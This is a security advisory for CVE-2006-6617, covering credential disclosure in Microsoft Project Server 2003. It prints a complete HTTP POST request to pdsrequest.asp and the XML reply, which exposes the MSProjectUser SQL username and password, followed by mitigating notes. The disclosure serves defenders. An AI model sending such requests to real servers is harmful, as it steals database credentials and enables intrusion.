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Arrow  Topic :

Project Server 2003 - Credential Disclosure


Arrow  SecurityAlert : 2047
Arrow  CVE : CVE-2006-6617
Arrow  SecurityRisk : Medium  Security Risk Medium  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : No
Arrow  Exploit Available : Yes
Arrow  Credit : Brett Moore (brett moore security-assessment com)
Arrow  Published : 19.12.2006

Arrow  Affected Software : Microsoft Project Server 2003



Arrow  Advisory Content :  

==============================================================
% Project Server 2003 - Credential Disclosure
% brett.moore (at) security-assessment (dot) com [email concealed]
==============================================================

Microsoft Project server 2003 implements a thick client
for some of the functionality. The thick client uses
XML requests to talk to the server of HTTP(S).

One of these requests returns the username and password
of the MSProjectUser account used to access the SQL
database as well as other system information.

--------------------------------------------------------------
POST http://SERVER/projectserver/logon/pdsrequest.asp HTTP/1.0
Accept: */*
Accept-Language: en-nz
Pragma: no-cache
Host: SERVER
Content-length: 87
Proxy-Connection: Keep-Alive
Cookie: PjSessionID=<valid cookie>

<Request>
<GetInitializationData>
<Release>1</Release>
</GetInitializationData>
</Request>

<Reply>
<HRESULT>0</HRESULT>
<STATUS>0</STATUS>
<UserName>theuser</UserName>
<GetInitializationData>
<GetLoginInformation>
<DBType>0</DBType>
<DVR>{SQLServer}</DVR>
<DB>ProjectServer</DB>
<SVR>SERVER</SVR>
<ResGlobalID>1</ResGlobalID>
<ResGlobalName>resglobal</ResGlobalName>
<UserName>MSProjectUser</UserName> <----
<Password>sekretpass</Password> <----
<UserNTAccount>SERVERUSER</UserNTAccount>
</GetLoginInformation>
</Reply>
--------------------------------------------------------------

Some quick notes that mitigate this attack;
* The cookie must be a valid cookie, which is obtained via a
login with a valid username and password.
* Since the thick client is 'client side' any sql can be
manipulated anyway.
* The MSProjectUser should be a low level account anyway
* Other 'undocumented' or 'unauthorised' requests 'may' also
be able to be made through this method.

==============================================================
%
==============================================================





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